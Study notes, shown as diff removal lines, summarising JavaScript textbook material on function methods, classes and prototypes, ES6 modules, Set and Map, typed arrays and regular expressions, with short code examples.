-`addPrivateProperty(o, "Name", x => typeof x === "string");`
-
-`o.setName("Frank");`
-
-`o.getName()`
-
-"Frank"
-
-`o.setName(0);`
-
-TypeError: try to set a value ofthe wrong type
-
-### Function Properties, Methods, and Constructor
-
-Since functions are objects, they can have properties and methods, just like any other object.
-
-### The length Property
-
-The read-only length property of a function specifies the arity of the function — the number of parameters it declares in its parameter list, which is usually the number of arguments that the function expects.
-
-### The name Property
-
-This property is primarily useful when writing debugging or error messages.
-
-### The prototype Property
-
-When a function is used as a constructor, the newly created object inherits properties from the prototype object.
-
-### The call() and apply() Methods
-
-`call()` and `apply()` allow you to indirectly invoke a function as if it were a method of some other object. The first argument to both `call()` and `apply()` is the object on which the function is to be invoked; this argument is the invocation context and becomes the value of the `this` keyword within the body of the function.
-
-To invoke the function` f()` as a method of the object o (passing no arguments),
-
-`f.call(o);`
-
-`f.apply(o);`
-
-To pass two numbers to the function `f()` and invoke it as if it were a method of the object o,
-
-    f.call(o, 1, 2);
-
-The `apply()` method is like the `call()` method, except that the arguments to be passed to the function are specified as an array:
-
-    f.apply(o, [1,2]);
-
-The `trace() `function defined uses the `apply() `method instead of a spread operator, and by doing that, it is able to invoke the wrapped method with the same arguments and the same this value as the wrapper method
-
-    function trace(o, m) {
-
-    let original = o[m];
-
-    o[m] = function(...args) {
-
-    console.log(new Date(), "Entering:", m);
-
-    let result = original.apply(this, args);
-
-    console.log(new Date(), "Exiting:", m);
-
-    return result;
-
-    };
-
-    }
-
-### The bind() Method
-
-The primary purpose of `bind()` is to bind a function to an object.
-
-`function f(y) { return this.x + y; }`
-
-`let o = { x: 1 };`
-
-`let g = f.bind(o);`
-
-`g(2)`
-
-3
-
-`let p = { x: 10, g };`
-
-`p.g(2)`
-
-3 // g is still bound to o, not p.
-
-The most common use case for calling `bind()` is to make non-arrow functions behave like arrow functions.
-
-Partial application is a common technique in functional programming and is sometimes called `currying`.
-
-`let sum = (x,y) => x + y;`
-
-`let succ = sum.bind(null, 1);`
-
-`succ(2)`
-
-3
-
-### The toString() Method
-
-Most (but not all) implementations of this `toString()` method return the complete source code for the function
-
-### The Function() Constructor
-
-The Function() constructor is best thought of as a globally scoped version of `eval()` that defines new variables and functions in its own private scope. You will probably never need to use this constructor in your code.
-
-### Higher-Order Functions
-
-A higher-order function is a function that operates on functions, taking one or more functions as arguments and returning a new function.
-
-    function not(f) {
-
-    return function(...args) {
-
-    let result = f.apply(this, args);
-
-    return !result;
-
-    };
-
-    }
-
-`const even = x => x % 2 === 0;`
-
-A function to determine if a number is even
-
-`const odd = not(even);`
-
-`[1,1,3,5,5].every(odd)`
-
-true
-
-Returns a new function that maps one array to another
-
-    const map = function(a, ...args) { return a.map(...args); };
-
-    function mapper(f) {
-
-    return a => map(a, f);
-
-    }
-
-    const increment = x => x + 1;
-
-    const incrementAll = mapper(increment);
-
-    incrementAll([1,2,3]
-
-\[2,3,4\]
-
-Example that takes two functions, f and g, and returns a new function that computes f(g()):
-
-    function compose(f, g) {
-
-    return function(...args) {
-
-    return f.call(this, g.apply(this, args));
-
-    };
-
-    }
-
-`const sum = (x,y) => x+y;`
-
-`const square = x => x*x;`
-
-`compose(square, sum)(2,3)`
-
-25
-
-### Memoization
-
-We defined a factorial function that cached its previously computed results. In functional programming, this kind of caching is called memoization.
-
-### Classes
-
-JavaScript's classes and prototype-based inheritance mechanism are substantially different from the classes and class-based inheritance mechanism of Java.
-
-### Classes and Prototypes
-
-If we define a prototype object and then use `Object.create()` to create objects that inherit from it, we have defined a JavaScript class.
-
-Factory function that returns a new range object:
-
-    function range(from, to) {
-
-    let r = Object.create(range.methods);
-
-    r.from = from;
-
-    r.to = to;
-
-    return r;
-
-    }
-
-    range.methods = {
-
-    includes(x) { return this.from <= x && x <= this.to; },
-
-    *[Symbol.iterator]() {
-
-    for(let x = Math.ceil(this.from); x <= this.to; x++)
-
-    yield x;
-
-    },
-
-    toString() { return "(" + this.from + "..." + this.to +")"; }
-
-    };
-
-`let r = range(1,3);`
-
-`r.includes(2)`
-
-true
-
-`r.toString()`
-
-"(1…3)"
-
-`[...r]`
-
-\[1, 2, 3\]
-
-### Classes and Constructors
-
-A constructor is a function designed for the initialization of newly created objects.
-
-The critical feature of constructor invocations is that the `prototype` property of the constructor is used as the prototype of the new object.
-
-While almost all objects have a prototype, only a few objects have a `prototype` property. It is function objects that have a `prototype` property.
-
-This means that all objects created with the same constructor function inherit from the same object and are therefore members of the same class.
-
-A Range class using a constructor
-
-    function Range(from, to) {
-
-    this.from = from;
-
-    this.to = to;
-
-    }
-
-    Range.prototype = {
-
-    includes: function(x) { return this.from <= x && x <= this.to; },
-
-    [Symbol.iterator]: function*() {
-
-    for(let x = Math.ceil(this.from); x <= this.to; x++)
-
-    yield x;
-
-    },
-
-    toString: function() { return "(" + this.from + "..." + this.to + ")"; }
-
-    };
-
-`let r = new Range(1,3);`
-
-`r.includes(2)`
-
-true
-
-`r.toString()`
-
-"(1…3)"
-
-`[...r]`
-
-\[1, 2, 3\]
-
-Because the `Range() `constructor is invoked with `new`, it does not have to call `Object.create()` or take any action to create a new object.
-
-In the first example, the prototype was `range.methods`. This was a convenient and descriptive name, but arbitrary. In the second example, the prototype is `Range.prototype`, and this name is mandatory.
-
-An invocation of the `Range()` constructor automatically uses `Range.prototype` as the prototype of the `new Range` object.
-
-### Constructors, Class Identity, and instanceof
-
-Two objects are instances of the same class if and only if they inherit from the same prototype object.
-
-The `instanceof` operator is not checking whether `r` was actually initialized by the Range constructor. Instead, it is checking whether `r` inherits from `Range.prototype`.
-
-    function Strange() {}
-
-    Strange.prototype = Range.prototype;
-
-    new Strange() instanceof Range
-
-true
-
-If you want to test the prototype chain of an object for a specific prototype and do not want to use the constructor function as an intermediary, you can use the `isPrototypeOf()` method
-
-    range.methods.isPrototypeOf(r);
-
-### The constructor Property
-
-Every regular JavaScript function automatically has a `prototype` property. The value of this property is an object that has a single, non-enumerable `constructor` property.
-
-The value of the `constructor` property is the function object
-
-    let F = function() {};
-
-    let p = F.prototype;
-
-    let c = p.constructor;
-
-    c === F
-
-true
-
-`let o = new F();`
-
-`o.constructor === F`
-
-true
-
-Instances of the Range class, as defined, do not have a constructor property. We can remedy this problem by explicitly adding a constructor to the prototype:
-
-    Range.prototype = {
-
-    constructor: Range
-
-    };
-
-Another common technique that you are likely to see in older JavaScript code is to use the predefined prototype object with its constructor property and add methods to it one at a time with code like this:
-
-    Range.prototype.includes = function(x) {
-
-    return this.from <= x && x <= this.to;
-
-    };
-
-    Range.prototype.toString = function() {
-
-    return "(" + this.from + "..." + this.to + ")";
-
-    };
-
-### Classes with the class Keyword
-
-    class Range {
-
-    constructor(from, to) {
-
-    this.from = from;
-
-    this.to = to;
-
-    }
-
-    includes(x) { return this.from <= x && x <= this.to; }
-
-    *[Symbol.iterator]() {
-
-    for(let x = Math.ceil(this.from); x <= this.to; x++)
-
-    yield x;
-
-    }
-
-    toString() { return `(${this.from}...${this.to})`; }
-
-    }
-
-`let r = new Range(1,3);`
-
-`r.includes(2)`
-
-true
-
-`r.toString()`
-
-(1…3)
-
-`[...r]`
-
-\[1, 2, 3\]
-
-Although class bodies are superficially similar to object literals, they are not the same thing. In particular, they do not support the definition of properties with name/value pairs.
-
-If your class does not need to do any initialization, you can omit the constructor keyword and its body, and an empty constructor function will be implicitly created for you.
-
-If you want to define a class that subclasses — or inherits from — another class, you can use the `extends` keyword with the class keyword:
-
-    class Span extends Range {
-
-    constructor(start, length) {
-
-    if (length >= 0) {
-
-    super(start, start + length);
-
-    }
-
-    else {
-
-    super(start + length, start);
-
-    }
-
-    }
-
-    }
-
-class declarations have both statement and expression forms
-
-`let Square = class { constructor(x) { this.area = x * x; } };`
-
-`new Square(3).area`
-
-9
-
-### Static methods
-
-You can define a `static` method within a class body by prefixing the method declaration with the `static` keyword. Static methods are defined as properties of the constructor function rather than properties of the prototype object.
-
-    static parse(s) {
-
-    let matches = s.match(/^\((\d+)\.\.\.(\d+)\)$/);
-
-    if (!matches) {
-
-    throw new TypeError(`Cannot parse Range from "${s}".`)
-
-    }
-
-    return new Range(parseInt(matches[1]),
-
-    parseInt(matches[2]));
-
-    }
-
-The method defined by this code is `Range.parse()`, not `Range.prototype.parse()`, and you must invoke it through the constructor, not through an instance:
-
-    let r = Range.parse('(1...10)');
-
-### Getters, Setters, and other Method Forms
-
-Within a class body, you can define getter and setter methods just as you can in object literals. The only difference is that in class bodies, you don't put a comma after the getter or setter.
-
-### Public, Private, and Static Fields
-
-The ES6 standard only allows the creation of methods (including getters, setters, and generators) and static methods; it does not include syntax for defining fields.
-
-If you want to define a field on a class instance, you must do that in the constructor function or in one of the methods. And if you want to define a static field for a class, you must do that outside the class body, after the class has been defined.
-
-Standardization is underway, however, for extended class syntax that allows the definition of instance and static fields, in both public and private forms.
-
-    class Buffer {
-
-    constructor() {
-
-    this.size = 0;
-
-    this.capacity = 4096;
-
-    this.buffer = new Uint8Array(this.capacity);
-
-    }
-
-    }
-
-←&gt;
-
-    class Buffer {
-
-    size = 0;
-
-    capacity = 4096;
-
-    buffer = new Uint8Array(this.capacity);
-
-    }
-
-The same proposal that seeks to standardize these instance fields also defines private (with the \# prefix) instance fields.
-
-    class Buffer {
-
-    #size = 0;
-
-    get size() { return this.#size; }
-
-    }
-
-A related proposal seeks to standardize the use of the `static` keyword for fields.
-
-    static integerRangePattern = /^\((\d+)\.\.\.(\d+)\)$/;
-
-    static parse(s) {
-
-    let matches = s.match(Range.integerRangePattern);
-
-    if (!matches) {
-
-    throw new TypeError(`Cannot parse Range from "${s}".`)
-
-    }
-
-    return new Range(parseInt(matches[1]), matches[2]);
-
-    }
-
-### Adding Methods to Existing Classes
-
-We can augment JavaScript classes simply by adding new methods to their prototype objects.
-
-    if (!String.prototype.startsWith) {
-
-    String.prototype.startsWith = function(s) {
-
-    return this.indexOf(s) === 0;
-
-    };
-
-    }
-
-    Number.prototype.times = function(f, context) {
-
-    let n = this.valueOf();
-
-    for(let i = 0; i < n; i++) f.call(context, i);
-
-    };
-
-### Subclasses
-
-### Subclasses and Prototypes
-
-Span subclass of the Range class. This subclass will work just like a Range, but instead of initializing it with a start and an end, we'll instead specify a start and a distance, or span.
-
-    function Span(start, span) {
-
-    if (span >= 0) {
-
-    this.from = start;
-
-    this.to = start + span;
-
-    }
-
-    else {
-
-    this.to = start;
-
-    this.from = start + span;
-
-    }
-
-    }
-
-Ensure that the `Span` prototype inherits from the `Range`
-
-    Span.prototype = Object.create(Range.prototype);
-
-We don't want to inherit `Range.prototype.constructor`, so we define our own constructor property:
-
-    Span.prototype.constructor = Span;
-
-`Span` overrides the `toString()` method
-
-`Span.prototype.toString = function() {`  
- `` return `(${this.from}... +${this.to - this.from})`; ``  
- `};`
-
-A robust subclassing mechanism needs to allow classes to invoke the methods and constructor of their superclass, but prior to ES6, JavaScript did not have a simple way to do these things.
-
-### Subclasses with extends and super
-
-    class EZArray extends Array {
-
-    get first() { return this[0]; }
-
-    get last() { return this[this.length-1]; }
-
-    }
-
-`let a = new EZArray();`
-
-`a instanceof EZArray`
-
-true
-
-`a instanceof Array`
-
-true
-
-`a.push(1,2,3,4);`
-
-`a.pop()`
-
-4
-
-`a.first`
-
-1
-
-`a.last`
-
-3
-
-`Array.isArray(a)`
-
-true
-
-`EZArray.isArray(a)`
-
-true
-
-`Array.prototype.isPrototypeOf(EZArray.prototype`
-
-true
-
-`Array.isPrototypeOf(EZArray)`
-
-true
-
-Example demonstrates the use of the `super` keyword to invoke the constructor and methods of the superclass
-
-    class TypedMap extends Map {
-
-    constructor(keyType, valueType, entries) {
-
-    if (entries) {
-
-    for(let [k, v] of entries) {
-
-    if (typeof k !== keyType || typeof v !== valueType) {
-
-    throw new TypeError(`Wrong type for entry [${k}, ${v}]`);
-
-    }
-
-    }
-
-    }
-
-    super(entries);
-
-    this.keyType = keyType;
-
-    this.valueType = valueType;
-
-    }
-
-    set(key, value) {
-
-    if (this.keyType && typeof key !== this.keyType) {
-
-    throw new TypeError(`${key} is not of type${this.keyType}`);
-
-    }
-
-    if (this.valueType && typeof value !== this.valueType)
-
-    {
-
-    throw new TypeError(`${value} is not of type ${this.valueType}`);
-
-    }
-
-    return super.set(key, value);
-
-    }
-
-    }
-
-You may not use the `this` keyword in your constructor until after you have invoked the superclass constructor with `super()`. This enforces a rule that superclasses get to initialize themselves before subclasses do.
-
-Once private fields are supported, we could change these properties to `#keyType` and `#valueType` so that they could not be altered from the outside.
-
-### Class Hierarchies and Abstract Classes
-
-Define abstract classes — classes that do not include a complete implementation — to serve as a common superclass for a group of related subclasses.
-
-### Modules
-
-### Automating Closure-Based Modularity
-
-Imagine a tool that takes a set of files, wraps the content of each of those files within an immediately invoked function expression, keeps track of the return value of each function, and concatenates everything into one big file.
-
-    const modules = {};
-
-    function require(moduleName) { return modules[moduleName]; }
-
-    modules["sets.js"] = (function() {
-
-    const exports = {};
-
-    exports.BitSet = class BitSet { ... };
-
-    return exports;
-
-    }());
-
-    modules["stats.js"] = (function() {
-
-    const exports = {};
-
-    const sum = (x, y) => x + y;
-
-    const square = x = > x * x;
-
-    exports.mean = function(data) { ... };
-
-    exports.stddev = function(data) { ... };
-
-    return exports;
-
-    }());
-
-writing code like the following to make use of those modules
-
-    const stats = require("stats.js");
-
-    const BitSet = require("sets.js").BitSet;
-
-    // Now write code using those modules
-
-    let s = new BitSet(100);
-
-    s.insert(10);
-
-    s.insert(20);
-
-    s.insert(30);
-
-    let average = stats.mean([...s]);
-
-### Modules in ES6
-
-ES6 adds import and export keywords to JavaScript and finally supports real modularity as a core language feature.
-
-ES6 modularity is conceptually the same as Node modularity: each file is its own module, and constants, variables, functions, and classes defined within a file are private to that module unless they are explicitly exported.
-
-### ES6 Exports
-
-To export a constant, variable, function, or class from an ES6 module, simply add the keyword export before the declaration
-
-    export const PI = Math.PI;
-
-    export function degreesToRadians(d) { return d * PI / 180; }
-
-    export class Circle {
-
-    constructor(r) { this.r = r; }
-
-    area() { return PI * this.r * this.r; }
-
-    }
-
-or:
-
-    export { Circle, degreesToRadians, PI };
-
-It is common to write modules that export only one value (typically a function or class), and in this case, we usually use export `default` instead of `export`
-
-    export default class BitSet {
-
-    // implementation omitted
-
-    }
-
-### ES6 Imports
-
-    import BitSet from './bitset.js';
-
-    import { mean, stddev } from "./stats.js";
-
-When importing from a module that defines many exports, however, you can easily import everything with an import statement like this:
-
-    import * as stats from "./stats.js";
-
-With the wildcard import shown in the previous example, the importing module would use the imported `mean()` and` stddev()` functions through the stats object, invoking them as `stats.mean()` and `stats.stddev()`.
-
-Note: not finished.
-
-### The JavaScript Standard Library
-
-### The Set Class
-
-Sets are not ordered or indexed, and they do not allow duplicates.
-
-    let s = new Set();
-
-    let t = new Set([1, s]);
-
-    let t = new Set(s);
-
-    let unique = new Set("Mississippi");
-
-The argument to the `Set()` constructor need not be an array: any iterable object (including other Set objects) is allowed.
-
-The `add()` method takes a single argument; if you pass an array, it adds the array itself to the set, not the individual array elements. `add()` always returns the set it is invoked on, however, so if you want to add multiple values to a set, you can used chained method calls like.
-
-it is very important to understand that set membership is based on strict equality checks, like the === operator performs.
-
-The most important thing we do with sets is not to add and remove elements from them, but to check to see whether a specified value is a member of the set:
-
-`let oneDigitPrimes = new Set([2,3,5,7]);`
-
-`oneDigitPrimes.has(2)`
-
-The Set class is iterable, which means that you can use a `for/of` loop to enumerate all of the elements of a set:
-
-    let sum = 0;
-
-    for(let p of oneDigitPrimes) {
-
-    sum += p; // and add them up
-
-    }
-
-Because Set objects are iterable, you can convert them to arrays and argument lists with the … spread operator
-
-`[...oneDigitPrimes]`
-
-JavaScript Set class always remembers the order that elements were inserted in, and it always uses this order when you iterate a set: the first element inserted will be the first one iterated (assuming you haven't deleted it first), and the most recently inserted element will be the last one iterated.
-
-Set class also implements a `forEach()` method
-
-    let product = 1;
-
-    oneDigitPrimes.forEach(n => { product *= n; });
-
-### The Map Class
-
-    let m = new Map();
-
-    let n = new Map([["one", 1],["two", 2]]);
-
-    let copy = new Map(n);
-
-    let o = { x: 1, y: 2};
-
-    let p = new Map(Object.entries(o));
-
-map is a set of keys, each of which has an associated value. This is not quite the same as a set of key/value pairs.
-
-use `has()` to check whether a map includes the specified key; use `delete()` to remove a key (and its associated value) from the map; use `clear()` to remove all key/value pairs from the map; and use the size property to find out how many keys a map contains.
-
-`set()` method of Map can be chained.
-
-Any JavaScript value can be used as a key or a value in a Map. This includes` null, undefined`, and `NaN`, as well as reference types like objects and arrays.
-
-Map compares keys by identity, not by equality.
-
-`let m = new Map();`
-
-`m.set({}, 1);`
-
-`m.set({}, 2);`
-
-Map a different empty object to the number 2.
-
-`m.get({})`
-
-undefined:
-
-`m.set(m, undefined);`
-
-`m.has(m)`
-
-true
-
-`m.get(m)`
-
-undefined
-
-Iterate over map:
-
-`let m = new Map([["x", 1], ["y", 2]]);`
-
-`[...m]`
-
-\[\["x", 1\], \["y", 2\]\]
-
-`for(let [key, value] of m) {...}`
-
-Map class iterates in insertion order
-
-If you want to iterate just the keys or just the associated values of a map, use the `keys()` and `values()` methods: these return iterable objects that iterate keys and values, in insertion order. (The  
- `entries()` method returns an iterable object that iterates key/value pairs, but this is exactly the same as iterating the map directly.)
-
-    [...m.keys()]
-
-    [...m.values()]
-
-    [...m.entries()]
-
-Map objects can also be iterated using the `forEach()`
-
-    m.forEach((value, key) => {...}
-
-Note that the value parameter comes before the key parameter.
-
-### WeakMap and WeakSet
-
-The `WeakMap `class is a variant (but not an actual subclass) of the Map class that does not prevent its key values from being garbage collected.
-
-`WeakMap `keys must be objects or arrays; primitive values are not subject to garbage collection and cannot be used as keys.
-
-WeakMap implements only the` get(), set(), has(),` and `delete()` methods. In particular, `WeakMap` is not iterable and does not define `keys(), values(),` or `forEach()`. If WeakMap was iterable, then its keys would be reachable and it wouldn't be weak.
-
-Similarly, WeakMap does not implement the size property because the `size` of a WeakMap could change at any time as objects are garbage collected
-
-### Typed Arrays and Binary Data
-
-They differ from regular arrays in some very important ways
-
-· The elements of a typed array are all numbers. Unlike regular JavaScript numbers, however, typed arrays allow you to specify the type (signed and unsigned integers and IEEE-754 floating point) and size (8 bits to 64 bits) of the numbers to be stored in the array.
-
-· You must specify the length of a typed array when you create it, and that length can never change.
-
-· The elements of a typed array are always initialized to 0 when the array is created.
-
-    Int8Array()
-
-    Uint8Array()
-
-    Uint8ClampedArray()
-
-    Int16Array()
-
-    Uint32Array()
-
-    Uint16Array()
-
-    Int32Array()
-
-    BigInt64Array()
-
-    BigUint64Array()
-
-    Float32Array()
-
-    let bytes = new Uint8Array(1024);
-
-    let matrix = new Float64Array(9);
-
-    let sudoku = new Int8Array(81);
-
-Initialize with values
-
-    let white = Uint8ClampedArray.of(255, 255, 255, 0);
-
-    let ints = Uint32Array.from(white);
-
-one more way to create typed arrays that involves the `ArrayBuffer` type
-
-    let buffer = new ArrayBuffer(1024*1024);
-
-    buffer.byteLength
-
-1024\*1024
-
-Typed arrays are not true arrays, but they re-implement most array methods, so you can use them pretty much just like you'd use regular arrays:
-
-`let ints = new Int16Array(10);`
-
-10 short integers
-
-`ints.fill(3).map(x=>x*x).join("")`
-
-"9999999999"
-
-Remember that typed arrays have fixed lengths, so the length property is read-only, and methods that change the length of the array (such as` push(), pop(), unshift(), shift(),` and `splice()`) are not implemented for typed arrays. Methods that alter the contents of an array without changing the length (such as `sort(), reverse()`, and `fill()`) are implemented.
-
-### Determine Endianess and DataView
-
-    let littleEndian = new Int8Array(new Int32Array([1]).buffer)
-
-    [0] === 1;
-
-You can use the `DataView` class, which defines methods for reading and writing values from an `ArrayBuffer` with explicitly specified byte ordering. Refer to book for more examples.
-
-### Pattern Matching with Regular Expressions
-
-RegExp objects may be created with the `RegExp()` constructor, of course, but they are more often created using a special literal syntax.
-
-    let pattern = /s$/;
-
-←&gt;
-
-    let pattern = new RegExp("s$");
-
-Regular expressions can also have one or more flag characters that affect how they work
-
-    let pattern = /s$/i;
-
-i = case insensitive
-
-Punctuation characters have special meanings in regular expressions: `^ $ . * + ? = ! : | \ / ( ) [ ] { }. `Other punctuation characters, such as quotation marks and @, do not have special meaning and simply match themselves literally in a regular expression.
-
-If you use the `RegExp()` constructor, keep in mind that any backslashes in your regular expression need to be doubled, since strings also use backslashes as an escape character.
-
-**Character**
-
-**Matches**
-
-`[...]`
-
-Any one character between the brackets.
-
-`[^...]`
-
-Any one character not between the brackets
-
-`.`
-
-Any character except newline or another Unicode line terminator. Or, if the `RegExp` uses the s flag, then a period matches any character, including line terminators.
-
-`\w`
-
-Any ASCII word character. Equivalent to \[a-zA-Z0-9\_\].
-
-`\W`
-
-Equivalent to \[^a-zA-Z0-9\_\]
-
-`\s`
-
-Any Unicode whitespace character.
-
-`\S`
-
-Any character that is not Unicode whitespace.
-
-`\d`
-
-Equivalent to \[0-9\].
-
-`\D`
-
-Equivalent to \[⁰-9\].
-
-`[\b]`
-
-A literal backspace (special case).
-
-`[\s\d]`
-
-Any one whitespace character or digit
-
-REPETITIONS
-
-**Character**
-
-**Meaning**
-
-`{n,m}`
-
-Match the previous item at least n times but no more than m times
-
-`{n,}`
-
-Match the previous item n or more times.
-
-`{n}`
-
-Match exactly n occurrences of the previous item.
-
-`?`
-
-Equivalent to {0,1}.
-
-`+`
-
-Equivalent to {1,}
-
-\*
-
-Equivalent to {0,}.
-
-**Example**
-
-**Description**
-
-    let r = /\d{2,4}/;
-
-Match between two and four digits
-
-    r = /\w{3}\d?/;
-
-Match exactly three word characters and an optional digit
-
-    r = /\s+java\s+/;
-
-Match "java" with one or more spaces before and after
-
-    r = /[^(]*/;
-
-Match zero or more characters that are not open parens
-
-If you want to match repetitions of more complicated expressions, you'll need to define a group with parentheses
-
-Be careful when using the \* and ? repetition characters. Since these characters may match zero instances of whatever precedes them, they are allowed to match nothing.
-
-### NON-GREEDY REPETITION
-
-It is also possible to specify that repetition should be done in a non-greedy way. Simply follow the repetition character or characters with a question mark: `??, +?, *?`, or even {1,5}?.
-
-**String**
-
-**Pattern**
-
-**Match**
-
-    "aaa"
-
-    /a+/
-
-    "aaa"
-
-    "aaa"
-
-    /a+?/
-
-    "a"
-
-Note that using non-greedy repetition may not always produce the results you expect. This is because regular expression pattern matching is done by findingthe first position in the string at which a match is possible. Since a match is possible starting at the first character of the string, shorter matches starting at subsequent characters are never even considered.
-
-### ALTERNATION, GROUPING, AND REFERENCES
-
-**Char**
-
-**Pattern**
-
-**Pattern**
-
-`|`
-
-`/ab|cd|ef/`
-
-"ab" or the string "cd" or the string "ef".
-
-`/\d{3}|[a-z]{4}/`
-
-either three digits or four lowercase letters.
-
-`/a|ab/`
-
-matches only the first letter "a"
-
-`()`
-
-`/java(script)?/`
-
-matches "java" followed by the optional "script"
-
-`/(ab|cd)+|ef/`
-
-matches "java" followed by the optional "script"
-
-If the left alternative matches, the right alternative is ignored, even if it would have produced a "better" match
-
-Another purpose of parentheses in regular expressions is to define subpatterns within the complete pattern. When a regular expression is successfully matched against a target string, it is possible to extract the portions of the target string that matched any particular parenthesized subpattern. For example, suppose you are looking for one or more lowercase letters followed by one or more digits. You might use the pattern `/[a-z]+\d+/`. But suppose you only really care about the digits at the end of each match. If you put that part of the pattern in parentheses (/\[a-z\]+(\\d+)/), you can extract the digits from any matches you find,
-
-A related use of parenthesized subexpressions is to allow you to refer back to a subexpression later in the same regular expression. This is done by following a \\ character by a digit or digits. The digits refer to the position of the parenthesized subexpression within the regular expression. For example, \\1 refers back to the first subexpression, and \\3 refers to the third.
-
-**Match**
-
-**Pattern**
-
-zero or more characters within single or double quotes. However, it does not  
- require the opening and closing quotes to match
-
-    /['"][^'"]*['"]/
-
-To require the quotes to match,use a reference
-
-    /(['"])[^'"]*\1/
-
-**Character**
-
-**Meaning**
-
-|
-
-match either the subexpression to the left or the subexpression to the right.
-
-(…)
-
-Grouping: group items into a single unit that can be used with \*, +, ?, |, and so on. Also remember the characters that match this group for use with later references
-
-(?:…)
-
-group items into a single unit, but do not remember the characters that match this group.
-
-Note` (?:...)` syntax:
-
-In pattern` "/([Jj]ava(?:[Ss]cript)?)\sis\s(fun\w*)/`" `\2` refers to the text matched by `(fun\w*)` since `(?:[Ss]cript)?)` in not remembered.
-
-### SPECIFYING MATCH POSITION
-
-_regular expression anchors_ because they anchor the pattern to a specific position in the search string. The most commonly used anchor elements are ^, which ties the pattern to the beginning of the string, and $, which anchors the pattern to the end of the string.
-
-**Example**
-
-**Pattern**
-
-match the word "JavaScript" on a line by itself
-
-`/^JavaScript$/`
-
-To search for "Java" as a word by itself you can try the pattern `/\sJava\s/`, which requires a space before and after the word. But there are two problems with this solution. First, it does not match "Java" at the beginning or the end of a string, but only if it appears with space on either side. Second, when this pattern does find a match, the matched string it returns has leading and trailing spaces, which is not quite what's needed. So instead of matching actual space characters with \\s, match (or anchor to) word boundaries with \\b. The resulting expression is `/\bJava\b/`.
-
-The element `\B` anchors the match to a location that is not a word boundary. Thus, the pattern `/\B[Ss]cript/` matches "JavaScript" and "postscript", but not "script" or "Scripting".
-
-You can also use arbitrary regular expressions as anchor conditions.
-
-If you include an expression within `(?= and )` characters, it is a lookahead assertion, and it specifies that the enclosed characters must match, without actually matching them.
-
-**Example**
-
-**Pattern**
-
-**Matches**
-
-to match the name of a common programming language, but only if it is followed by a colon
-
-`/[Jj]ava([Ss]cript)?(?=\:)/`
-
-matches the word "JavaScript" in "JavaScript: The DefinitiveGuide"
-
-does not match "Java" in "Java in a Nutshell"
-
-If you instead introduce an assertion with `(?!`, it is a negative lookahead assertion.
-
-### FLAGS
-
-Flags are specified after the second / character of a regular expression literal or as a string passed as the second argument to the RegExp() constructor.
-
-**Flag**
-
-**Meaning**
-
-g
-
-"global" — that is,that we intend to use it to find all matches within a string rather than just finding the first <a href="http://match.it/" class="markup--anchor markup--p-anchor">match.it</a> does alter the behavior of the String `match()` method and the `RegExp exec()` method in important ways.
-
-i
-
-case-insensitive
-
-m
-
-"multiline" mode
-
-s
-
-useful when working with text that includes newlines.Normally, a "." in a regular expression matches any character except a line terminator. When the s flag is used, however, "." will match any character, including line terminators.
-
-u
-
-Unicode.
-
-Setting the u flag on a RegExp also allows you to use the new `\u{...}` escape sequence for Unicode character and also enables the \\p{...} notation for Unicode character classes.
-
-y
-
-"sticky". should match at the beginning of a string or at the first character following the previous match
-
-### String Methods for Pattern Matching
-
-### SEARCH()
-
-Strings support four methods that use regular expressions.
-
-`"JavaScript".search(/script/ui)`
-
-4
-
-`"Python".search(/script/ui)`
-
--1
-
-`search()` does not support global searches; it ignores the `g` flag of its regular expression argument.
-
-REPLACE()
-
-`text.replace(/javascript/gi, "JavaScript");`
-
-No matter how it is capitalized, replace it with the correct capitalization
-
-parenthesized subexpressions of a regular expression are numbered from left to right and that the regular expression remembers the text that each subexpression matches.
-
-to replace quotation marks in a string with other characters:
-
-`let quote = /"([^"]*)"/g;`
-
-`'He said "stop"'.replace(quote, '«$1»')`
-
-‘He said «stop»'
-
-If your RegExp uses named capture groups, then you can refer to the matching text by name rather than by number:
-
-`let quote = /"(?<quotedText>[^"]*)"/g;`
-
-`'He said "stop"'.replace(quote, '«$<quotedText>»')`
-
-‘He said «stop»'
-
-Instead of passing a replacement string as the second argument to replace(), you can also pass a function that will be invoked to compute the replacement value.
-
-Example to convert decimal integers in a string to hexadecimal:
-
-`let s = "15 times 15 is 225";`
-
-`s.replace(/\d+/gu, n => parseInt(n).toString(16))`
-
-"f times f is e1"
-
-### MATCH()
-
-`"7 plus 8 equals 15".match(/\d+/g)`
-
-\["7", "8", "15"\]
-
-If the regular expression does not have the `g` flag set, `match()` does not do a global search; it simply searches for the first match. In this nonglobal case, `match()` still returns an array, but the array elements are completely different.
-
-Thus, if `match()` returns an array a, a\[0\] contains the complete match, a\[1\] contains the substring that matched the first parenthesized expression, and so on.
-
-    let url = /(\w+):\/\/([\w.]+)\/(\S*)/;
-
-    let text = "Visit my blog at http://www.example.com/~david";
-
-    let match = text.match(url);
-
-    let fullurl, protocol, host, path;
-
-    if (match !== null) {
-
-    fullurl = match[0];
-
-<a href="http://www.example.com/~david" class="markup--anchor markup--p-anchor">"http://www.example.com/~david</a>"
-
-    protocol = match[1];
-
-"http"
-
-    host = match[2];
-
-<a href="http://www.example.com/" class="markup--anchor markup--p-anchor">"www.example.com</a>"
-
-    path = match[3];
-
-"~david"
-
-In this non-global case, the array returned by match() also has some object properties in addition to the numbered array elements.
-
-input property refers to the string on which match() was called
-
-The index property is the position within that string at which the match starts.
-
-if the regular expression contains named capture groups, then the returned array also has a groups property whose value is an object.
-
-`let url = /(?<protocol>\w+):\/\/(?<host>[\w.]+)\/(?<path>\S*)/;`
-
-`let text = "Visit my blog at http://www.example.com/~david";`
-
-`let match = text.match(url);`
-
-`match[0]`
-
-<a href="http://www.example.com/~david" class="markup--anchor markup--p-anchor">"http://www.example.com/~david</a>"
-
-`match.input`
-
-text
-
-`match.index`
-
-17
-
-`match.groups.protocol`
-
-"http"
-
-`match.groups.host`
-
-<a href="http://www.example.com/" class="markup--anchor markup--p-anchor">"www.example.com</a>"
-
-`match.groups.path`
-
-"~david"
-
-There are also important but less dramatic differences in behavior when the y flag is set. Refer to book for examples.
-
-### MATCHALL()
-
-Instead of returning an array of matching substrings like `match()` does, however, it returns an iterator that yields the kind of match objects that match() returns when used with a non-global RegExp.
-
-### SPLIT()
-
-`"123,456,789".split(",")`
-
-\["123", "456","789"\]
-
-`"1, 2, 3,\n4, 5".split(/\s*,\s*/)`
-
-\["1", "2", "3", "4","5"\]
-
-Surprisingly, if you call `split()` with a RegExp delimiter and the regular expression includes capturing groups, then the text that matches the capturing groups will be included in the returned array.
-
-`const htmlTag = /<([^>]+)>/;`
-
